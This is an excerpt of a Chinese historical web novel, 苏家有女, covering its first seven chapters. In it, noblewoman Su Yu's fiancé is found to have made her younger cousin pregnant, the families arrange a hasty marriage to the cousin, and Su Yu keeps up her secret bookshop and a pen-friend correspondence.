《苏家有女》 1. 第 1 章 《苏家有女》全本免费阅读 第一章 开始 秋天的午后,阳光温柔而明媚。 后花园凉亭里,画纸铺在石桌上,旁边摆满各色画笔和颜料。一个大丫头旁边侍侯,另有四个小丫头亭外听侯吩咐。 如此大的阵仗,成品却是小小一张。 画的是池塘一角,几朵荷花。意境无全,画工更是糟糕。 “我这永不长进的画艺,希望老板看到不要哭才好。”苏钰叹息说着。 虽然家里给了请师傅,但她天生与丹青犯冲,学了这些年,依然没有任何水平可言。 会突然想画画,只因上次交书稿时,老板突然提出要一副插画放在书中,言辞十分恳切,无法拒绝。 既然答应了,她很努力的按景临摹,但成品依然难以言喻。要是老板坚持用,她也无所谓,老板都不担心赔钱,她更不会操心。 “姑娘只是不喜欢画画,从来没有动过笔,第一次画就能画成这样,己是十分难得了。”身边大丫头绿川笑着说。 苏钰歪头看她一眼,放下手中笔画,道:“你这睁眼说瞎话的本事是越来越长进了。算了,既然己经答应,那就送过去吧。” “我这哪是睁眼说瞎话,明明是在拍姑娘马屁。”绿川笑着说,“这是姑娘的真迹,老板是个识货的。” 说着,她轻吹着画纸,等笔墨全干了,这才慢慢收起来,动作十分娴熟。 苏钰画了半天,也觉得有些乏了,便退到旁边坐下来。小丫头们见状,也进凉亭侍侯。两个收拾石桌,另有两个端上茶水。 “老板要是真用了这副画,被他看到,再知道是我画的,不知道我这个大才子形象会不会全面崩塌……”苏钰自言自语说着。 转念一想,又觉得有趣。 谁规定才子字好诗好外,其他一切都得好呢。 她就是个只会写字写诗的才子,其他的才艺,她全部都不好。 “姑娘,我去送画了。”绿川说着,己经把画小心收好。 苏钰听得点点头,道:“还有信,我放在书桌上了,要带上。” “我晓的,姑娘就放心吧。”绿川说着,转身去了。 苏钰凉亭坐着,心中有事,也没有赏花的心情,只是发怔。 “这么久没有回信,是路上丢了吗……”苏钰自言自语说着。 一直以来的书信都是一来一往,但这次两个月了都没回信。她忍不住又写了一封,希望只是路上丢了,而不是出事了。 “姑娘,起风了,要不要回屋去。”旁边小丫头提醒着。 苏钰恍过神来,起身道:“那就回去吧。” 从后花园到苏钰住的听雨楼并不远,从后角门过去就到。就是因为离花园近,苏钰才特意挑这一处。 虽然是未出阁的姑娘,听雨楼却十分宽敞,当初只是翻修就花了一年半的时间。 五间正房,左右各带两耳,东西厢房又带耳房,院子大的可以跑马。别说给小姐当绣房,就是公侯人家的当家主母也够住了。 究其原因,苏家房多少人。一座英国公府一座靖武侯府,两府相连整整占了一条街。常住在家的主子却不超过十个人。 苏家又有钱,自然不会委屈。房舍下人,金银使用都是管够的。 回房更衣,丫头奉茶,苏钰刚刚端起茶碗,就听守门丫头道:“张妈妈来了……” 苏钰微微一怔,张婆子是府里的管家大娘子,又是三太太的陪房。 她与三太太关氏并不亲厚,张婆子突然来找她,有什么事? “给姑娘请安。”张婆子上前见礼,恭敬而木然,看不出情绪。 苏钰看她一眼,虽然是个下人,但当了这些年的管家大娘子,又是三太太的心腹,不管是穿着打扮,还是气度神态,都堪比一般人家的主母太太。 “什么事?”苏钰问的直接。 看张婆子的神色,好事坏事不知道,只能肯定是大事。大到张婆子一个管家大娘子都要收声敛气。 “三老爷请大姑娘养云轩说话。”张婆子低头说着。 苏钰越发觉得莫名,却也没再问,只是转头吩咐小丫头,“更衣。” 养云轩是三老爷苏天佑的住处,在前院右侧,苏钰也时常过去。若是换个人来传话,那就是正常的叔侄谈话。 但是派张婆子来,那就诡异了。 三老爷与三太太不和,前后院分居多年,虽然没到老死不相往来的地方。但若无大事,三老爷绝对不会差遣三太太的心腹来传话。 穿好外衣,丫头婆子一概不带,苏钰只身出门。 张婆子和马车己经在院门口等着,看到苏钰一个人出来,低头上前侍侯苏钰上车。 “三太太也在吧。”苏钰说着。 张婆子犹豫一下,才道:“太太在的。” “噢……” 苏钰心中肯定,是三太太这边的事。 但怎么牵扯到她了? 马车一路向前,听雨楼与养云轩虽然分属前后院,却在一条轴线上,穿过垂花门也就到了。 下车进院,苏钰留意到今天的养云轩是格外安静。平常侍侯的下人皆不在,只有正房门口,站着两个三太太的心腹婆子。 “孽障,如此下作之事你也干的出来。我现在就打死你,省得你以后丢人现眼,把苏家几辈子的老脸都丢尽了。” 三老爷苏天佑的咆哮声从正房传出来,让苏钰吓了一跳,不自觉得停住脚步。 在她的印象里,自家是三叔是很温和很儒雅的,至少大部分时间里是这样的。 而眼前的情况明显不属于大部分时间,这是彻底抓狂了。 “那你先打死我。”三太太关氏的咆哮声更大,“她长这么大,你管过她吗,你教过她吗。从来不管不问,这时候到是耍起爹的威风了。还苏家的脸面,苏家的脸面早就被你丢尽了!!” “我什么时候丢过苏家的脸面,你教出来的好女儿,连姐姐的未婚夫都要抢,要不要脸,羞不羞人啊!!”苏天佑吼的越发大声。 “养云轩,好一个养云轩,你养的哪个云,你心里有数!”关氏声音越发大了。 苏钰听不下去了,虽然当晚辈的这时候进去不合适。但若是任由他们吵下去,翻起旧帐来,只怕没法收场。 “三叔,你在屋里吗?”苏钰扬声说着。 苏天佑气的全身打颤,听到苏钰的声音,却不得不压下去,道:“钰儿,你进来。” “是。”苏钰应着,脚步却是很慢。 屋里刚刚一场大战,要留点时间给他们整理情绪,正好她也理一下头绪。 抢了姐姐的未婚夫?这是关键词。 关氏膝下一儿一女,女儿苏玫,今年十五岁,是苏家的三姑娘。 而姐姐,应该就是指她,苏家大姑娘。 至于未婚夫,早在十年前,己经过世的苏老太爷做主,定下了苏钰与贺六爷贺英的亲事。 后来苏老太爷去世,两家关系进入冷淡期。三年前贺老太爷也过世了,贺家守孝至今,上个月才出孝期。 目前婚事处于僵持状态,双方都没要求退婚,但也没人提成亲。 难道苏玫和贺英…… “大姑娘来了……”守门婆子打起帘子,扬声对屋里说着。 苏钰缓步进屋,只见苏天佑和关氏一左一右堂上 2. 第 2 章 《苏家有女》全本免费阅读 第二章 惊雷 “我有了贺郎的骨肉。” 一个炸弹丢下去,苏天佑差点气懵过去。关氏也是一阵头晕,要不是张婆子手快扶住她,只怕要摔到地上。 “三姑娘,这种话不能乱说的。”苏钰心中大骇。 好歹是高门大户的公子千金,所谓的私会,最多也就是传个定情信物,或者私下见过几面。 孩子都有了??苏玫这是疯了吧。 “有没有乱说,叫个大夫进府诊脉即知。”苏玫硬着脖子说着,看着苏钰道:“我不用你假好心让我,贺郎根本就不喜欢你,一点点都不喜欢。” “这一点不用你告知,我也不喜欢他。”苏钰说着,好像第一次看到苏玫一般,上下打量着她。 她在国公府居住的时间并不长,与三太太不太熟,与苏玫就更不熟了。 对于这个妹妹,大概就是知道有这个人,样貌不错,有点小脾气,才气也有点那么一点点。 在家世的衬托下,也是京城很抢手的闺秀,提亲的人很多。 贺英是优秀,但是真的不值得苏玫如此倒贴。关氏虽然脾气不好,但精明干练,女儿怎么教的如此傻白甜。 “贺郎是真心喜欢我的,我们是两情相悦,凭什么要拆散我们。”苏玫说着,眼中带着泪水,“要么你们现在打死我,一尸两命躺在这里,不然我怎么都要嫁给贺郎。” “贺英是不是给你灌迷药了啊。”苏钰忍无可忍,“你知不知道,他在祖父孝期中养了一个外室,还是勾栏里的花魁。” 贺英向来是风流场上的急先锋,风流韵事多如牛毛。孝期里都不安份,搞出一个外室。而且他不带掩示的,与他相熟的公子哥都知道。 “我才不会相信你的鬼话。”苏玫冷笑说着,看着苏钰道,“你又有什么资格教训我,男装出门与人称兄道弟,京城的男人有你没见过不认识的吗。” “我与人结交,光明磊落,没有哪里见不得人。”苏钰说着。 心里越发肯定,贺英是真给苏玫吃迷药了。贺英也是真皮痒,欠收拾。 “如此硬气,好,好,我现在就打死你。”苏天佑己经气到双目泛红,彻底抓狂,随手拿起桌子上的茶杯就往苏玫头上砸,嘴里喃喃自语说着,“打死你,一了百了,省得你把苏家几辈子的老脸丢尽了。” 苏玫闪身躲开,嘴里却是说个不停,“我哪里丢苏家的脸了,当年大伯父与大伯母也是婚前私会,最后是太后赐婚,硬说是天作之合;二伯父与二伯母更是,早早就私定终身。现在都和离了,却又住在一起,二伯父还住到岳家当上门女婿;就是父亲你,年轻的时候还不是与云妹妹眉来眼去,后来各自婚嫁了,你还是不死心。为了见她一面,奔走千里。只知道骂我丢脸,也不看看你们自己,我有样学样,哪里有错!” 一桩桩旧事翻出来,苏钰只觉得头皮发麻。却又不得不顾眼前的情况,当即立断对张婆子道:“还不快拉三姑娘出去,这要出人命的。” 苏天佑己经彻底抓狂,苏玫再这么刺激下去,她真担心父女俩同归于尽。 “我的好姑娘,你别再说了。”张婆子说着,拉着苏玫就往后门跑。 差点被气晕的关氏,现在也顾不上其他,跟着张婆子一起护着苏玫。虽然恨不得打死,但总不能让苏天佑把苏玫打死。 苏玫虽然嘴硬,脚却是听话的,紧跟着关氏和张婆子跑了。 只苦了苏钰,只能死死拦住苏天佑,“三叔,你消消气,那是你亲生女儿。” “不,她是孽障,这就不是孩子,就是个孽障。”苏天佑喃喃自语说着,他己经气到发疯,理智早就飞了。 苏钰累的一身汗,对守门的婆子道:“你们是死的吗,还不来帮忙。” 门口的婆子早听到动静,但关氏规矩极严,没有传唤她们哪里敢来。现在苏钰呼喊了,她们也赶紧进来帮忙。 三个人一起,总算是把苏天佑拦住,两个婆子扶回了内屋休息。 苏钰从正房走出来己经累的说不出话来。真的好一出大戏,她做为受害者兼旁观者,也是辛苦。 喘气之余,苏钰却不由得感慨。苏玫说的并没有错,苏家的三位老爷,再加上苏二老太爷,没有一个守规矩的,各种婚前婚后搞事情。 但是苏玫却不去想另一面,这四个各种搞事的男人,没有一个婚姻幸福的。 既使找到真爱,也是各种波折悲剧。反倒不如盲婚哑嫁,一辈子相敬如宾的,反倒白头谐老了。 午夜时分,怡红院后门的小巷里,小厮前头探着路,贺英提心吊胆的跟在后面。 被贺二太太抓包之后,他就直接跑了。他很清楚自家亲妈的脾气,出了这样的事,绝不会就此放过。 果然,贺二太太派人去了苏家,什么都没说,只把证据摆好,让苏家人自己处置。 贺英并不担心在贺家受罚,罚也罚不哪里去,他都习惯了。他担心的是来自苏家的报复。尤其是气头上,直接把他打死都有可能。 一不作二不休,贺英直接跑到勾栏里,对比其他地方,勾栏反而相对安全。 “没想到这里也能巧遇贺六爷,真是缘份。” 突然一句从身后似来,贺英顿时打了个冷颤。 两排灯笼照进来,漆黑的小巷顿时亮如白昼。在小厮们的簇拥之下,白衣少年手持折扇缓缓而至。 玉树临风,丰神俊秀,风雅矜贵,似乎所有形容美的词都可以堆到他身上。如此的美好,却又带着几分迷惑。 漂亮而俊雅,却让人迷惑于性别。男?女? “哈哈哈,原来是阿钰啊,好巧好巧。”贺英提着的心放了下来,来的是苏钰,至少没有性命之忧。 虽然定了亲,但他与苏钰对彼此关系的认定也就是朋友。虽然不是十分亲密,但也是能说的上话的朋友。 “看到我还能笑出来,六爷好心情。”苏钰轻摇折扇,缓步走向贺英,脸上挂着浅浅的笑容,让她看起来儒雅极了。 “也是,只是遇上我而己,即不是我大哥,也不是我二哥,你的运气还是不错的。” “阿钰,钰哥!”贺英哪里还顾自己的脸面,直接求饶,“我真不知道,我要是知道那是苏家三姑娘,借我一百个胆子也不敢招惹。” “我妹妹说,你们是两情相悦。”苏钰说着,上下打量着贺英,“以六爷风月场上的本事,让一个小姑娘为你要死要活,易如反掌。” 虽然苏玫傻的让人想打她,但是贺英也确实风月场上的王者,他若是有心引逗,十个苏玫也不是对手。 “阿钰啊,我们认识的时间也不短了。我虽然风流,却从来没有招惹过良家妇女,别说官家小姐了,就是平民家的女儿,我也从来没招惹过。哪怕是勾栏里的姐儿,只要对我无意,我也转身就走。”贺英满心苦楚的 3. 第 3 章 《苏家有女》全本免费阅读 第三章 亲事 苏家并没有早晚请安的习惯,但因苏玫之事,苏钰早饭过后,就去了养云轩。 “三叔。”苏钰进到正房。 苏天佑从里间出来,身上依然是昨天那套,满脸憔悴,眼圈泛黑,一夜未眠。 “阿钰来了,坐吧。”苏天佑说着,却是有几气无力,不止身体,精神更显得萎靡。 “三叔不要太难过了,三姑娘年轻,难免行差踏错。”苏钰忍不住劝着,“事情总会过去,三姑娘也总能明白。” 幸好苏家的家底够厚,苏玫虽然闯下大祸,但想解决也不是不能。 “也怪我,没有好好教她。”苏天佑叹息说着。关氏说的没错,他确实没有关心过苏玫。十五岁的姑娘都要说亲事了,他也没怎么上心。现在犯下如此大错,他也有责任。 苏钰有几分犹豫,还是决定说出来,道:“昨天晚上我去见了贺英。” 昨天审完贺英回府己经子时,不好过来。这么早过来,也是为了说此事。 “他说什么了?”苏天佑问。 苏钰便把昨日贺英所说,一五一十说个清楚。 她见贺英主要的目的,就是了解情况。 虽然不相信苏玫所说的两情相悦,但若是贺英真心想娶,苏玫也坚持要嫁,婚事还可以说一说。 但是贺英昨晚的态度己经表明,他对苏玫是半点情份没有,甚至逢场作戏都算不上。那这门亲事,无论如何都不能做。 虽然丑事己经做下了,与其勉强嫁过去受气,将来闹着要和离,不如不结亲。 “那个孽障,这种事情也干的出来,家门不幸……”苏天佑本来气己经消了大半,此时却是再次燃起。 行事如此下作,就为了这么一个男人,苏玫根本就是没长眼晴。 “三叔先莫生气,事己至此,总要先把事情结了。”苏钰说着。 苏天佑叹气道:“那个孽障如此对你,你却处处为她着想。贺英,确实不是良配。我明日就把这孽障送老家去,等风头过去了,再细细给她挑门亲事。” “三叔思虑周全。”苏钰说着。 就算是有污名,苏家的女儿也不愁嫁。就是不如贺英优秀,寻个青年才俊却不困难。 “三叔好好休息,我先……” 苏钰起身欲走,就见婆子匆匆进门来报,“勇毅侯贺大老爷来了,就在门口。” 贺大老爷来的急,不等通传就往养云轩来。因为两府有亲,管事也不敢拦。 来的好快,苏钰和苏天佑不由的相视一眼。 苏天佑对苏钰挥挥手,苏钰会意,躲进了西梢间。 片刻之后,贺大老爷进门。 前任勇毅侯贺老太爷去世,身为嫡长子的贺大老爷成为新任勇毅侯。他是贺英的大伯,贺英的父亲是他亲弟弟。 “我家那个孽障,做下这等错事,我给苏兄陪罪了。”贺大老爷躬身说着,满脸愧疚。 他是真的愧疚啊,他本以为贺英风流有度,没想到贺英竟然做下这等错事。 更没想到,贺二太太抓包后不告知他,反而先把事情捅到苏家。要不是今早上贺大太太冷嘲热讽说贺英,他全然无知。 苏天佑脸色铁青,虽然心知是迁怒,情绪却是难以控制,道:“你来的正好,贺英与苏钰的婚事就此罢休,以后两家再不来往。” “苏兄息怒,都是我家管教孩儿无方,还请你大谅。”贺大老爷连连鞠躬,姿态非常之低。 苏天佑根本不吃这一套,直接挥手道:“送客。” 话完,苏天佑转身就往里间走。 贺大老爷见状,再顾不得斯文礼仪,上前一步拉住苏天佑,道:“苏兄,我们两家多年交好,亲事又是故去的两位老人家所定。就是不看僧面,苏兄也要看看佛面。” “贺英调戏了妹妹,难道还想再娶姐姐!”苏天佑顿时怒了,“出了探花而己,你贺家是想上天吗!!” “苏兄误会了,我哪里还敢有这样的想法。”贺大老爷连忙说着,“我是说,贺英与三姑娘的婚事。” 若是时间往前推十年,贺大老爷绝不会如此伏小做低。但是形势比人强啊,勇毅侯府早就不是十年前了,朝上无人,姻亲一个个败落,来往的亲友没一个能帮扶的。 就是贺英中了探花,但三年一个探花,没有人脉,没有资源,只能翰林院里熬日子。 贺英需要一个强有力的岳家,苏家就是最合适的。 “你什么意思?”苏天佑怒气 4. 第 4 章 《苏家有女》全本免费阅读 第四章 勇毅侯府 贺大老爷快马加鞭赶回勇毅侯府,进门第一件事,先把大管事叫来吩咐一通。 府中所有事情都停下来,先准备贺六爷的婚事,十五天之内把苏三姑娘娶进门,时间虽然紧,但婚事要办的隆重,千万不能失了礼数。 “老爷这是怎么了,十五天内娶媳妇,讲什么笑话呢。”贺大太太满脸怒容的说着。 她正在后院陪老太太说话,结果管家媳妇进门传话,把所有人都吓住了。 因为守孝的关系,不止贺英的婚事耽搁了,她亲生女儿贺三姑娘的婚事也耽搁了,今年都十九岁了,还没出嫁。 虽然没出孝期时就开始准备,但女子出嫁是大事。紧赶慢赶,跟亲家订好日子,三个月后出阁。 府里上下一直忙碌不休,贺大老爷不管不问就罢了,突然说要先给贺英娶亲,还要大办。那贺三姑娘怎么办,还要不要出阁了。 “妇道人家,你懂什么。”贺大老爷懒得理会她,丫头们侍侯着换了外衣,转身就往后头贺老太太正房走。 贺大太太无才无能,管家都管不好。儿女也没有教出一个有出息的,每天不是在折腾儿媳妇,就是跟妯娌斗气,要么就是听下人拍马屁。 贺大太太心中大怒,一路跟着贺大老爷,嘴里说着,“二房儿子惹的祸事,让二房自己去了结。你巴巴的去苏家陪礼道歉,还要耽搁自家女儿的婚事,我看你是晕头了。” “你才是晕头了。”贺大老爷说着,“什么大房二房,都是一家子骨肉,你这个当长辈的,不说看雇着,天天就知道分家。” 现在勇毅侯府住的,也就是大房二房嫡亲两兄弟,另外两个庶出兄弟早就分家出去单过。 虽然贺二老爷是个不中用的,但贺英有出息。二十岁就中了探花,将来前途不可限量,未来侯府还要靠他撑着。 其中利害关系,给贺大太太说了几次,她依然全然不懂。只看到眼前养着二房的花销,从来不知道将来的回报。 “府里的情况你还不知道吗,办完老太爷的丧事哪里还有钱。你不想着节俭,还要打肿脸充胖子。”贺大太太气愤说着。 贺大老爷懒得与她争论,侯府有没有钱,他心里有数。贺大太太是天生吝啬,再有钱也只会哭穷。 说话间,两人进了贺老太太的正院。此时贺老太太与贺二太太正在院里坐着说话,看到贺大老爷进来,贺二太太起身就要回避。 “二太太不必离开。”贺大老爷说着,“我正要与母亲商量小六的的婚事。” 说着,贺大老爷又派婆子去请贺二老爷。虽然是废物,总是贺英的亲爹,商量他的婚事,亲爹得在场。 稍等片刻,贺二老爷来了,贺英也跟着来了。众人进到贺老太太正房,各自落座。 贺老太太坐在正中太师椅上,看着下头坐的儿孙,却是轻轻叹口气,最后落到贺英身上,叹息道:“你爷爷给你定下这么好的婚事,被你生生搅和了,再想寻这么好的亲事,难如登天。” 贺英起身低头忏悔,道:“孙儿不孝,闯下大祸,让祖母伤心了。” 他确实很后悔,他要是没那么风流,修身养性,行事谨慎,怎么也不会和苏三姑娘闹这一出。 贺二太太抿抿唇,因为是婆婆说话,她虽然心里并不认同,却没有反驳。 她并不认为贺英与苏钰的婚事有多好,苏钰虽然生的漂亮,出名才女,又有数一数二的强悍家世。 但是苏钰的父母和离,生母改嫁十分不妥。长期缺乏女性长辈的教养,行事越发出格。竟然男装出行,与京城公子哥们称兄道弟。 在她看来,若是贺英娶了这种女子为妻,才是大大的不幸。 “做都做了,再后悔也晚了。”贺大太太阴阳怪气说着,看着贺英道,“幸好你有一个好大伯,大早上就去苏家赔礼道歉。刚才你大伯才吩咐了,十五天内给你娶媳妇。” “啊??”贺英愣住了。 这是赔礼道歉就能了事的??他己经准备好,被打断一条腿了。 贺二太太眉头皱紧,道:“这不大妥当吧。” 与妹妹有染,却要娶姐姐,简直是胡闹。 “虽然还没有说定,估摸着苏家会同意把三姑娘嫁进来。”贺大老爷说着。 虽然苏天佑拒绝了,但是关氏同意了,这事就大有希望。 “什么??”屋里众人皆惊呼出来。 贺英惊讶之余,突然想起苏钰问他的话,顿时有几分明白,却又觉得惊悚。 若是苏玫没有身孕,苏家也不会同意亲事。 “当年的婚约,京城己经甚少人记得。大部分人也只知道两家有亲,只要我们咬定当年定下的就是三姑娘,谁会来质疑。”贺大老爷说着。 虽然是掩耳盗铃的作法,但总好过退了姐姐再娶妹妹,这样只会惹来更大的笑话。直接从源头上纠正,就是咬定定亲的是三姑娘。 “不行,怎么能如此。”贺二太太忍无可忍站起身来。 虽然贺英行事有错,但如此处置根本就是荒唐。 对比苏钰,她更无法接受苏玫这样的儿媳妇。苏钰是抛头露面行事出格,苏玫却是公然引逗姐夫。这样的女子礼法不容,就是不死也该进尼姑庵。 贺大老爷没理会贺二太太,却是看向贺英,道:“小六,你可愿意?” 贺英满心疚愧,低头道:“三姑娘还肯嫁予我,就是我天大的造化。” 苏玫是用假身份骗了他,但是事情己经闹出来了,该占的便宜己经占了。这个时候只能敢做敢当,苏家同意嫁,他就要娶。 “好,还不算糊涂。”贺大老爷满意的点点头。 贺二太太语气坚定,道:“儿女婚事,乃是父母之命,他同意有什么用,我不同意。” 让她接受苏玫进门当儿媳妇,不如立时杀了她。那样 5. 第 5 章 《苏家有女》全本免费阅读 第五章 姐妹遇见 三天后,贺大老爷带着贺二老爷、贺英上门提亲。苏天佑和关氏都没出面,只让管事料理。婚事同意了,贺大老爷提出十五天娶亲,也同意了。 总之,尽快把苏玫娶走。 消息传到听雨楼,苏钰轻叹口气,放下手中书册,吩咐绿川:“备车,我们出门。” 绿川却是面色犹豫,劝道:“三姑娘与贺六的婚事……这么大的事,肯定瞒不住,外头少不了风言风语。” 姐姐的婚事换成妹妹,这样的大八卦怎么可能盖住。 苏钰与贺英也算是一个圈子里的朋友,出门遇到不相熟的世家公子,只怕都会问起来。再有相熟的,那就更没完没了,到时候岂不是尴尬。 “那你以为我在家里就能躲过去了。”苏钰叹息说着,“母亲,祖母,二婶婶,二哥哥,哪个会放过我……” 苏天佑和关氏想死的心都有,再是想知道前因后果,也不好细问他们。她成了唯一可以询问的当事人。 虽然都不是外人,但是苏玫的丑事,她也实在不想说。 “姑娘思虑周全。”绿川嘴上说着,心里却不这么认为,这么大的事,躲过初一了,也躲不过十五。“三姑娘与贺六爷……” 她虽然苏钰的心腹丫头,但三姑娘与贺六爷的事,苏钰绝口不提。府里更连一点风声没有,内情如何她全然不知道。 下人们虽然也在背后嘀咕,肯定是苏玫与贺英有了什么,才不得己如此。但都是猜测,具体如何都不知道。 “你快闭嘴吧,若是被三太太知道了,小心你的舌头。”苏钰说着。 关氏管家多年,家规极严。苏玫闹出这么大事,知道的也就是几个心腹,下人们最多也就是瞎猜。 就是这样,此时若是让关氏听到这些议论,只怕也要立时跳起来杀人。 “我就是觉得,十五天内娶亲,这也太仓促了些。”绿川辩解着,“三太太就这么一个女儿,岂不是太委屈了。” 苏钰想了想,道:“与贺家定亲多年,我估摸着两家都准备着婚事呢。” 她与贺英的婚事是因为守孝耽搁的,守孝期间虽然不能成亲,婚事的各项事宜却可以提前准备。 据她所说,关氏早就准备好。现在新娘换人,东西还可以照用。 提出十五天内娶亲,这也是贺大老爷思虑周全。苏玟的肚子等不得不说,再拖下去,等苏二老太爷带着苏二老爷搬师回朝。以苏二老太爷的脾气,只怕直接要了贺英的命。 生米彻底煮熟了,苏二老太爷即使生气,也不好让孙女守寡。 “那姑娘岂不是……”绿川没说下去,只是觉得苏钰倒霉。 都十八岁了,未婚夫跑了,准备好的嫁妆也要先给妹妹。这么拖下去,真要拖成老姑娘了。 苏钰道:“你这么感慨,若是让人听到,还以为我多舍不得。一个贺英而己,二十岁才中探花,能有什么了不起的前程。” “噗~”绿川当即笑了,道:“满京城也只有姑娘敢说这话了,伏案到白头,多少人四十岁才能中举子。二十岁中探花,己经是人中龙凤了。” “我父亲十五岁中状元,二十岁边关统帅,打得北齐闻风丧胆,至今不敢来犯。二十五岁入内阁,成为当朝重臣。出将入相,文武双全,乃当朝第一人。”苏钰说着,言语间带着骄傲。 苏天翊是她的骄傲,也是苏家的骄傲,更甚是大周的骄傲。 有如此优秀的父亲,让她如何不得意,如何不随性。 绿川也跟着道:“大老爷最厉害,最最厉害了。” “再者说了,贺英二十岁中探花有什么了不起的。二哥十八岁就中了状元,也就是今年,与贺英同科。”苏钰说着。 虽然她与贺英是性格不合,才没有爱慕之意。但是贺英本身的条件,也无法让她另眼相看。 这样的男子,丢了就不丢了,没什么舍不得的。 “姑娘说的对,将来姑爷肯定得是王亲贵胄。”绿川信心十足的说着。 苏钰己经换好男装,笑着道:“别拍马屁了,快些走吧。” 主仆俩从听雨楼后门出去,穿过角门就是后花园。马车就停在西北角,小小一处角门,虽然不大,却是苏钰的专属通道。 苏家虽然对苏钰的男装行为无所谓,但总不好大摇大 6. 第 6 章 《苏家有女》全本免费阅读 第六章 书局 马车缓缓行驶,苏钰沉默不语。 绿川忍不住小声问,“姑娘,我们去哪?” 她退的远,并不知道两位主子姑娘说了什么,但只看苏钰的脸色,绝对不是好话。 上了马车后,苏钰一直沉默不语,但总不好在街上兜圈子。 苏钰轻叹口气,决定把苏玫抛到脑后,路是自己选的,是好是歹全看自己了,“去书局。” “好勒,去书局。”绿川扬声对车夫说着,只字不提则才的事。 苏钰不让她知道的事,她就是知道了,也要装作不知道。 “前些日子,我去了书局一趟。店里人山人海的,我听店里伙计说,现在生意好得不得了,尤其是姑娘的书,发售当天就抢光了。”绿川笑着说,“姑娘吃亏了。” 苏钰笑着道:“那是夏老板自己会做生意,在我手上那一年,亏了千两银子呢。” 因为实在太无聊,总是写诗也无趣,她便开始写话本。有才子佳人,也有妖精鬼怪,写的多了,她就想让旁人也看看自己的大作。 千金小姐写诗是文才,写话本小说太掉价。京城书局虽多,若是被人知道是她苏钰写的,不知道会如何嘲讽。 索性自己开一家书局,当时还想着大展拳脚,开发一下自己的商业才能。结果短短一年,亏了千两银子,便绝了念头。 “夏老板是能干,文才也出众,只可惜……不然也能去考个功名。”绿川一脸惋惜的说着。 夏老板样样都好,唯独腿瘸了。虽然不需要拐杖也能行走,到底是残疾,不能参加科举。 苏钰听得笑了,打趣绿川,“你若喜欢他,我可以帮你做媒。” “才没有,姑娘,你好坏。”绿川顿时涨红了脸。 “我是说真的,你年龄也小了,我不想耽搁你青春。”苏钰脸上笑着,神情却是认真,“若是想嫁了,有了中意的人,我一定成全你。” 绿川今年十九了,就是在丫头里也算是大龄的。 一般来说,这样从小侍侯的丫头是要当陪嫁的,但她这个主子小姐的婚事还不知道在哪里,陪嫁之事更无从说起。 当然,绿川要是不想嫁,继续侍侯她,将来给她当陪嫁,她也乐意。 要是想嫁人了,她也会成全,全看绿川自己。 “才不要,我要一直跟着小姐。”绿川语气坚决。 苏钰笑着道:“好,让你跟,让你跟。” 主仆俩说笑的功夫,马车在书局门前停了下来。 苏钰先行上车,绿川紧跟着下来。 苏钰也不着急进门,只是门口站着。门面从原本的一小间,扩张成了三大间。除了话本书籍生意外,单辟出来一间卖文房四宝。 只看这川流不息的人潮,就知道生意有多好。 “公子,你抬头看看。”绿川笑着提醒苏钰。 苏钰抬头看去,斗大的烫金匾额,龙飞凤舞写着三个字“文墨斋”。看字迹是出自京城书法大家郭老的手笔。 能请郭老给书局提匾额,那就不止有钱才行,还要有人脉,人家才会给这个脸面。 这个夏书和,看来有点小看他了。 “公子。” 夏书和听到伙计来报,便赶紧迎了出来。 “我又来打扰了。”苏钰笑着说。 夏书和今年二十六岁,在老板里面算是年轻的了。样貌平平,气质却是绝佳,不知道还以为他是哪家的贵公子。 认真说起来,夏书和是苏钰从垃圾堆里捡来的。就在书局后面,被人打的半死。 苏钰路过,就顺便把救了,送到医馆救治,药费银子都是苏钰掏的。 治好之后,夏书和报恩兼还帐就来书局帮忙。对于书局的经营管理提出了很多方案,一心一意要辅佐苏钰把书局管好。 奈何当时苏钰己经被书局的帐本搞的头大,实在不想管了,夏书和如此有才,索性就把书局送他。 夏书和坚决不肯要,后来又提出每年给苏钰分红。苏钰对金银之事向来懒得理会,只让绿川看着办,不要问她。 “公子说的哪里话,没有您的扶持就没有现在的我。”夏书和恭敬说着,“公子请进。” “后院说话。”苏钰说着,“我这几天都要常来打扰。” 躲哪里都不安全,只有这里。认识的苏钰的人都不知道她写话本开书局。 而夏书和根本就不知道她是苏钰,她并没有用假名骗夏书和,她就没说过自己是谁。就像她从来没有问过夏书和的身份来历一样。 再者,商贾之流与顶级名门公子圈的距离太远太远,夏书和也没有机会知道她是谁。 “能招呼公子,是我的荣幸。”夏书和笑着说。 夏书和前头引路,苏钰和绿 7. 第 7 章 《苏家有女》全本免费阅读 绿川接过信件,便让婆子和伙计退下。确定两人走远了,绿川这才把信转给苏钰。 “总算来了。”苏钰轻吁一口气,两个月的等待,她都有些焦虑了。 绿川笑着把信奉上,道:“我就说嘛,信总会来的。” “就你会说话。”苏钰笑着说,拆开封口印泥,专心读信。 熟悉的笔迹,熟悉的香味。说不清是墨香,还是纸的味道,或者两者都有。每每翻开书信时,都让苏钰有种舒适安心的感觉。 从来没有见过面,不知彼此的身份,只是通过一封封书信了解彼此。 从诗词开始,到天南地北的闲聊,再到吃食茶具的交流。两年时间,明明是没有见过面的陌生人,苏钰却觉得他是朋友,最好最好的朋友。 “原来是有事外出了。”苏钰看着信件喃喃自语说着,“怪不得上封信看着怪怪的,像是早就写好的。” 信的内容很短,看的出对方的紧迫。大概内容就是,他有事要外出几个月,通信不便。等他归来时,再好好聊聊外地风情。 “姑娘现在安心了吧。”绿川笑着道,“我早就说过,能让姑娘如此在乎的人,肯定也会如此在乎姑娘呢。” 侍侯苏钰这些年,看着她结识无数朋友。有聊诗词的,有聊哲理的,还有吃喝玩乐的酒肉朋友。 这些朋友,苏钰不是不在乎,但和这位笔友比,或者说根本就没办法跟这位笔友比。 “那是当然。”苏钰笑着说,小心把信收好。 人与人的缘份确实是妙不可言。他们的相识,从某方面来说,更像是天意。 两年前书局初开张,虽然亏得一塌糊涂,但苏钰的书写的确实不错,只是对消费群体的定位搞错了。 苏钰对银子没什么概念,开店就想着所有东西都用好的。不管是店铺装修,还是纸张印刷都是上上等,最后核算起来,一本书成本价都要五两银子。 话本小说又不受上流仕大夫待见,平民百姓就是想看书消遣,定价太高根本就消费不起。 一来二去书籍压货,店铺更是门可罗雀,苏钰向来潇洒,索性卖不出去就直接送。 第一次印的几百本全送,本来苏钰己经心灰意冷了。没想到送出去的书竟然大受好评,很多读者来信送到店里。 粉丝的热情来信,让苏钰又有了信心。继续写继续印,不就是赔钱嘛,她赔的起。 连续印了几本,苏钰也掌握了一点生意门道,后面几本也没怎么亏了。但她本来就对经商没什么兴趣,店铺依然管理的一塌糊涂。 